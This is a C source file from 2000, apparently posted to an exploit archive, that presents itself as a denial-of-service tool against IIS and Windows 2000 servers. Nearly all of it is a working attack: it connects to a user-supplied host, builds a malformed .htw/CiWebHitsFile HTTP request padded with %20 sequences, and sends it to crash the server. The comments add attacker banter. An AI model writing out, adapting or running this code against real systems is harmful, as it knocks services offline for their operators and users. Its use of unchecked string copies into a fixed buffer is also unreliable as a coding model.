/*
 
 Description: DoS against IIS and Win2000.0 Servers by wildcoyote
 Comments   : Based on a perl *script* by EvilEntity@hotmail.com
 Flamez to  : wildcoyote@gk-team.org
 
*/

#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>

int openhost(char *host,int port)
{
  int sock;
  struct sockaddr_in addr;
  struct hostent *he;

  he=gethostbyname(host);

  if (he==NULL)
    {
      perror("gethostbyname()");
      exit(-1);
    }

  sock=socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);

  if (sock==-1)
    {
      perror("socket()");
      exit(-1);
    }

  memcpy(&addr.sin_addr, he->h_addr, he->h_length);
  addr.sin_family=AF_INET;
  addr.sin_port=htons(port);

  if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1)
    {
      sock=-2;
    }

  return sock;
}

void sends(int sock,char *buf)
{
  write(sock,buf,strlen(buf));
}

void DoS(char *host, int port)
{
  int sock,i,file_buf_size;
  char *buf, file_read[256],valid_file[256];
  printf("\nDoS against IIS and Win2000.0 Servers by wildcoyote\n\n");
  printf("File to read: ");
  scanf("%s",&file_read);
  printf("Enter Valid file: ");
  scanf("%s",&valid_file);
  file_buf_size=strlen(valid_file);
  printf("Trying to connect to %s (%d)....(please wait)\n",host,port);
  sock=openhost(host,port);
  if(sock<=0)
    {
      printf("- Could not connect -\n");
      printf("Exiting...\n\n");
      exit(-1);
    }
  else printf("Connected to %s (%d)\n",host,port);
  printf("Allocating memory for DoS\n");
  buf = (char *) malloc(2500); // bah! =) whatever...
  sprintf(buf,"GET %s",valid_file);
  for(i=0;i<file_buf_size;i++) strcat(buf,"%20");
  strcat(buf,".htw?CiWebHitsFile=");
  strcat(buf,file_read);
  strcat(buf,"&CiRestriction=none&CiHiliteType=Full HTTP/1.0\n\n");
  printf("Oh k! Sending CRASH!\n");
  sends(sock,buf);
  close(sock);
  free(buf);
  printf("Crash sent! The host *probably* crashed :P\n");
  printf("Send flamez to wildcoyote@gk-team.org, *Enjoy*...\n\n");
}

main(int argc, char *argv[])
{
  int sock,i;
  if (argc<2)
    {
      printf("\nDoS against IIS and Win2000.0 Servers by wildcoyote\n\n");
      printf("Sintaxe: %s <host> [port - default 80]\n",argv[0]);
      printf("Send flamez to wildcoyote@gk-team.org, *Enjoy*...\n\n");
    }
  else if (argc==2) DoS(argv[1],80);
  else DoS(argv[1],atoi(argv[2]));
}
/*                    www.hack.co.za           [14 June 2000]*/